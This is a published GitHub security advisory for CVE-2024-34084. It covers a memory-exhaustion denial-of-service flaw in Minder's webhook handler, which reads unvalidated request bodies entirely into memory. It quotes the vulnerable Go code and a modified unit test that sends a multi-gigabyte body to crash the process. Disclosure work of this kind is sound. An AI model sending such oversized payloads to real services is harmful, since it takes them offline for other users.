Skip to content

Github Webhook Handler vulnerable to DoS from un-validated requests

High
JAORMX published GHSA-9c5w-9q3f-3hv7 May 7, 2024

Package

gomod github.com/stacklok/minder (Go)

Affected versions

< 0.20240507.2061_ref.ee05c7a

Patched versions

0.20240507.2069_ref.78e58d8

Description

Minders HandleGithubWebhook is susceptible to a denial of service attack from an untrusted HTTP request. The vulnerability exists before the request has been validated, and as such the request is still untrusted at the point of failure. This allows an attacker with the ability to send requests to HandleGithubWebhook to crash the Minder controlplane and deny other users from using it.

One of the first things that HandleGithubWebhook does is to validate the payload signature. This is done by way of the internal helper validatePayloadSignature:

rawWBPayload, err := validatePayloadSignature(r, &s.cfg.WebhookConfig)
if err != nil {
log.Printf("Error validating webhook payload: %v", err)
w.WriteHeader(http.StatusBadRequest)
return
}

validatePayloadSignature generates a reader from the incoming request by way of the internal helper readerFromRequest:

func validatePayloadSignature(r *http.Request, wc *server.WebhookConfig) (payload []byte, err error) {
var br *bytes.Reader
br, err = readerFromRequest(r)
if err != nil {
return
}

To create a reader from the incoming request, readerFromRequest first reads the request body entirely into memory on line 368:

func readerFromRequest(r *http.Request) (*bytes.Reader, error) {
b, err := io.ReadAll(r.Body)
if err != nil {
return nil, err
}
err = r.Body.Close()
if err != nil {
return nil, err
}
return bytes.NewReader(b), nil
}

This is a vulnerability, since an HTTP request with a large body can exhaust the memory of the machine running Minder and cause the Go runtime to crash Minder.

Note that this occurs before Minder has validated the request, and as such, the request is still untrusted.

To test this out, we can use the existing TestHandleWebHookRepository unit test and modify the HTTP request body to be large.

To do that, change these lines:

packageJson, err := json.Marshal(event)
require.NoError(t, err, "failed to marshal package event")
client := &http.Client{}
req, err := http.NewRequest("POST", fmt.Sprintf("http://%s", addr), bytes.NewBuffer(packageJson))
require.NoError(t, err, "failed to create request")

... to these lines:

	packageJson, err := json.Marshal(event)
	require.NoError(t, err, "failed to marshal package event")

        maliciousBody := strings.NewReader(strings.Repeat("1337", 1000000000))
        maliciousBodyReader := io.MultiReader(maliciousBody, maliciousBody, maliciousBody, maliciousBody, maliciousBody)
        _ = packageJson

	client := &http.Client{}
	req, err := http.NewRequest("POST", fmt.Sprintf("http://%s", addr), maliciousBodyReader)
	require.NoError(t, err, "failed to create request")

Then run the unit test again. WARNING, SAVE ALL WORK BEFORE DOING THIS.

On my local machine, this causes the machine to freeze, and Go finally performs a sigkill:

signal: killed
FAIL      github.com/stacklok/minder/internal/controlplane          30.759s
FAIL

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2024-34084

Weaknesses

No CWEs

Credits